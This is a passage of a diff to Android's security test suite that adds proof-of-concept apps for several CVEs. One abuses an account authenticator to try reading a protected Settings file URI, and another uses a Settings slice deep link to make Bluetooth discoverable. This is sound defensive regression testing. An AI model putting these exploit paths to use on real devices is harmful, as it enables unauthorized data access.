+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20349 extends StsExtraBusinessLogicHostTestBase {
+    static final String TEST_PKG = "android.security.cts.CVE_2022_20349";
+    public static final String TEST_DEVICE_ADMIN_RECEIVER = ".PocDeviceAdminReceiver";
+
+    @AsbSecurityTest(cveBugId = 228315522)
+    @Test
+    public void testPocCVE_2022_20349() throws Exception {
+        try {
+            ITestDevice device = getDevice();
+
+            /* Wake up the screen */
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            /* Install the test application */
+            installPackage("CVE-2022-20349.apk");
+
+            /* Set Device Admin Component */
+            AdbUtils.runCommandLine(
+                    "dpm set-device-owner '" + TEST_PKG + "/" + TEST_DEVICE_ADMIN_RECEIVER + "'",
+                    device);
+
+            /* Run the test "testBluetoothScanningDisallowed" */
+            runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testBluetoothScanningDisallowed");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/Android.bp
new file mode 100644
index 0000000..810da9a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2020-0338",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/AndroidManifest.xml
new file mode 100644
index 0000000..49d7f61
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/AndroidManifest.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2020_0338"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.GET_ACCOUNTS" />
+    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
+    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
+    <uses-permission android:name="android.permission.USE_CREDENTIALS" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE-2020-0338"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+
+            <intent-filter android:label="AOSP_Content_Reader">
+                <action android:name="android.intent.action.SEND" />
+                <data android:scheme="content" />
+                <data android:scheme="file" />
+                <data android:mimeType="*/*" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name=".PocService"
+            android:exported="false">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+        </service>
+        <meta-data
+            android:name="com.google.android.actions"
+            android:exported="true"
+            android:resource="@xml/authenticator" />
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2020_0338" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/layout/activity_main.xml
new file mode 100644
index 0000000..3df8d898
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/layout/activity_main.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:id="@+id/parent"
+    android:background="#FFFFFF"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/values/integers.xml
new file mode 100644
index 0000000..ec2082c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="ASSUMPTION_FAILURE">1</integer>
+    <integer name="FAIL">2</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/values/strings.xml
new file mode 100644
index 0000000..5ff1928
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="RESULT_KEY">RESULT</string>
+    <string name="MESSAGE_KEY">MESSAGE</string>
+    <string name="SHARED_PREFERENCE">CVE_2020_0338</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/xml/authenticator.xml
new file mode 100644
index 0000000..793ef45
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/xml/authenticator.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="android.security.cts.CVE_2020_0338"
+    android:label="CVE-2020-0338" />
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/DeviceTest.java
new file mode 100644
index 0000000..5cf178a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/DeviceTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0338;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.SharedPreferences;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.UiDevice;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    public static final String TEST_PACKAGE = "android.security.cts.CVE_2020_0338";
+    final int MAX_WAIT_TIME_MS = 10 * 1000;
+    UiDevice mDevice;
+
+    @Before
+    public void setUp() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+    }
+
+    @Test
+    public void testCVE_2020_0338() {
+        final Context context = getApplicationContext();
+        try {
+            mDevice.executeShellCommand("am start -n " + TEST_PACKAGE + "/.PocActivity");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+
+        int result = -1;
+        String message = null;
+        long startTime = System.currentTimeMillis();
+        while ((System.currentTimeMillis() - startTime) < MAX_WAIT_TIME_MS) {
+            SharedPreferences sh = context.getSharedPreferences(
+                    context.getResources().getString(R.string.SHARED_PREFERENCE),
+                    Context.MODE_APPEND);
+            result = sh.getInt(context.getResources().getString(R.string.RESULT_KEY), 0);
+            message = sh.getString(context.getResources().getString(R.string.MESSAGE_KEY), null);
+            if ((result > 0) && (message != null)) {
+                assumeTrue(message,
+                        result != context.getResources().getInteger(R.integer.ASSUMPTION_FAILURE));
+                assertNotEquals(message, result, context.getResources().getInteger(R.integer.FAIL));
+                break;
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocActivity.java
new file mode 100644
index 0000000..3f068c4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocActivity.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0338;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+
+import java.io.FileNotFoundException;
+
+public class PocActivity extends Activity {
+
+    private Context mContext;
+
+    private void setResult(int result, String message) {
+        SharedPreferences sh =
+                getSharedPreferences(getString(R.string.SHARED_PREFERENCE), Context.MODE_PRIVATE);
+        SharedPreferences.Editor edit = sh.edit();
+        edit.putInt(getString(R.string.RESULT_KEY), result);
+        edit.putString(getString(R.string.MESSAGE_KEY), message);
+        edit.commit();
+        Intent intent = new Intent(PocActivity.this, PocService.class);
+        stopService(intent);
+        finish();
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        mContext = this.getApplicationContext();
+        readFileDescriptor();
+        grantSettingsPermissions();
+        readFileDescriptor();
+    }
+
+    private void readFileDescriptor() {
+        final Uri uri = getUri();
+        try {
+            this.getContentResolver().openFileDescriptor(uri, "r");
+        } catch (FileNotFoundException e) {
+            setResult(getResources().getInteger(R.integer.ASSUMPTION_FAILURE), e.toString());
+        } catch (SecurityException e) {
+            // This is expected so do nothing and return
+            return;
+        }
+        setResult(getResources().getInteger(R.integer.FAIL), "Vulnerable to b/123700107!!");
+    }
+
+    public Uri getUri() {
+        return Uri.parse(PocAuthenticator.getSettingsUris().get(0).toString());
+    }
+
+    private static boolean isCar(Context context) {
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
+    public void grantSettingsPermissions() {
+        try {
+            String pkg = isCar(mContext) ? "com.android.car.settings" : "com.android.settings";
+            String cls = isCar(mContext) ? "com.android.car.settings.accounts.AddAccountActivity"
+                    : "com.android.settings.accounts.AddAccountSettings";
+            String accountTypes[] = {PocAuthenticator.ACCOUNT_TYPE};
+            Intent intent = new Intent();
+            intent.setClassName(pkg, cls);
+            intent.putExtra("account_types", accountTypes);
+            startActivity(intent);
+            Thread.sleep(6000);
+        } catch (Exception e) {
+            setResult(getResources().getInteger(R.integer.ASSUMPTION_FAILURE), e.toString());
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocAuthenticator.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocAuthenticator.java
new file mode 100644
index 0000000..c801142
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocAuthenticator.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0338;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+import java.util.ArrayList;
+
+public class PocAuthenticator extends AbstractAccountAuthenticator {
+    public static final String ACCOUNT_TYPE = "android.security.cts.CVE_2020_0338";
+    private static ArrayList<Uri> sSettingsUris = null;
+    Context mContext;
+
+    public PocAuthenticator(Context context) {
+        super(context);
+        mContext = context;
+    }
+
+    public static ArrayList<Uri> getSettingsUris() {
+        if (sSettingsUris == null) {
+            sSettingsUris = new ArrayList<>();
+            sSettingsUris.add(Uri.parse("content://com.android.settings.files/attachment"));
+        }
+        return sSettingsUris;
+    }
+
+    @Override
+    public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+        return null;
+    }
+
+    @Override
+    public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+            String authTokenType, String[] requiredFeatures, Bundle options)
+            throws NetworkErrorException {
+        final Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
+        intent.putExtra(Intent.EXTRA_STREAM, getSettingsUris());
+        intent.setClassName(mContext.getPackageName(), PocActivity.class.getName());
+        intent.putExtra(AccountManager.KEY_ACCOUNT_TYPE, accountType);
+        intent.putExtra(AccountManager.KEY_ACCOUNT_AUTHENTICATOR_RESPONSE, response);
+        final Bundle bundle = new Bundle();
+        if (options != null) {
+            bundle.putAll(options);
+        }
+        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
+        return bundle;
+    }
+
+    @Override
+    public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
+            Bundle options) throws NetworkErrorException {
+        return null;
+    }
+
+    @Override
+    public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+            String authTokenType, Bundle options) throws NetworkErrorException {
+        return null;
+    }
+
+    @Override
+    public String getAuthTokenLabel(String authTokenType) {
+        return null;
+    }
+
+    @Override
+    public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
+            String authTokenType, Bundle options) throws NetworkErrorException {
+        return null;
+    }
+
+    @Override
+    public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
+            String[] features) throws NetworkErrorException {
+        return null;
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocService.java
new file mode 100644
index 0000000..b731220
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocService.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0338;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import androidx.annotation.Nullable;
+
+public class PocService extends Service {
+    PocAuthenticator mAuthenticator;
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        if (mAuthenticator == null) {
+            mAuthenticator = new PocAuthenticator(this);
+        }
+        return mAuthenticator.getIBinder();
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
new file mode 100644
index 0000000..09297b2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2022-20347",
+    defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
new file mode 100644
index 0000000..9242123
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20347">
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+    <application>
+        <activity android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2022_20347" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/integers.xml
new file mode 100644
index 0000000..403ca4d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/integers.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="assumptionFailure">-1</integer>
+    <integer name="disable">2</integer>
+    <integer name="enable">1</integer>
+    <integer name="success">0</integer>
+    <integer name="timeoutMs">20000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml
new file mode 100644
index 0000000..e049d48
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="allowButtonResName">android:id/button1</string>
+    <string name="btAction">btAction</string>
+    <string name="className">.slices.SliceDeepLinkSpringBoard</string>
+    <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+    <string name="defaultSettingsPkg">com.android.settings</string>
+    <string name="failMessage">
+    Vulnerable to b/228450811 !! Possible to make bluetooth discoverable via
+    SettingsIntelligence#SliceDeepLinkTrampoline
+    </string>
+    <string name="messageKey">message</string>
+    <string name="resultKey">result</string>
+    <string name="sharedPreferences">sharedPreferences</string>
+    <string name="uri">
+    settings://com.android.settings.slices/?slice=content://com.android.settings.slices/action/bluetooth_devices
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
new file mode 100644
index 0000000..52f43c5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20347;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
+import android.net.Uri;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    Context mContext;
+    Semaphore mPreferenceChanged;
+    UiDevice mDevice;
+
+    String getSettingsPkgName() {
+        Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+        ComponentName settingsComponent =
+                settingsIntent.resolveActivity(mContext.getPackageManager());
+        String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
+                : mContext.getString(R.string.defaultSettingsPkg);
+        return pkgName;
+    }
+
+    int getInteger(int resId) {
+        return mContext.getResources().getInteger(resId);
+    }
+
+    @Test
+    public void testBluetoothDiscoverable() {
+        OnSharedPreferenceChangeListener sharedPrefListener;
+        SharedPreferences sharedPrefs;
+        boolean btState = false;
+        try {
+            BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
+
+            // Save the state of bluetooth adapter to reset after the test
+            btState = btAdapter.isEnabled();
+
+            // If bluetooth is disabled, enable it and wait for start activity to complete
+            mContext = InstrumentationRegistry.getInstrumentation().getContext();
+            Intent intent = new Intent(mContext, PocActivity.class);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.putExtra(mContext.getString(R.string.btAction),
+                    BluetoothAdapter.ACTION_REQUEST_ENABLE);
+            mContext.startActivity(intent);
+
+            Resources resources = mContext.getResources();
+            sharedPrefs = mContext.getSharedPreferences(
+                    resources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+            mPreferenceChanged = new Semaphore(0);
+            sharedPrefListener = new OnSharedPreferenceChangeListener() {
+                @Override
+                public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+                        String key) {
+                    if (key.equals(resources.getString(R.string.resultKey))) {
+                        mPreferenceChanged.release();
+                    }
+                }
+            };
+            sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener);
+            assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
+                    TimeUnit.MILLISECONDS));
+            int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
+                    resources.getInteger(R.integer.assumptionFailure));
+            String message = sharedPrefs.getString(resources.getString(R.string.messageKey),
+                    resources.getString(R.string.defaultSemaphoreMsg));
+            assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure));
+
+            // Checking if bluetooth is enabled. The test requires bluetooth to be enabled
+            assumeTrue(btAdapter.isEnabled());
+
+            // Launch bluetooth settings which is supposed to set scan mode to
+            // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
+            UiAutomation uiautomation =
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation();
+            uiautomation
+                    .adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE);
+            String settingsPkg = getSettingsPkgName();
+            intent = new Intent();
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
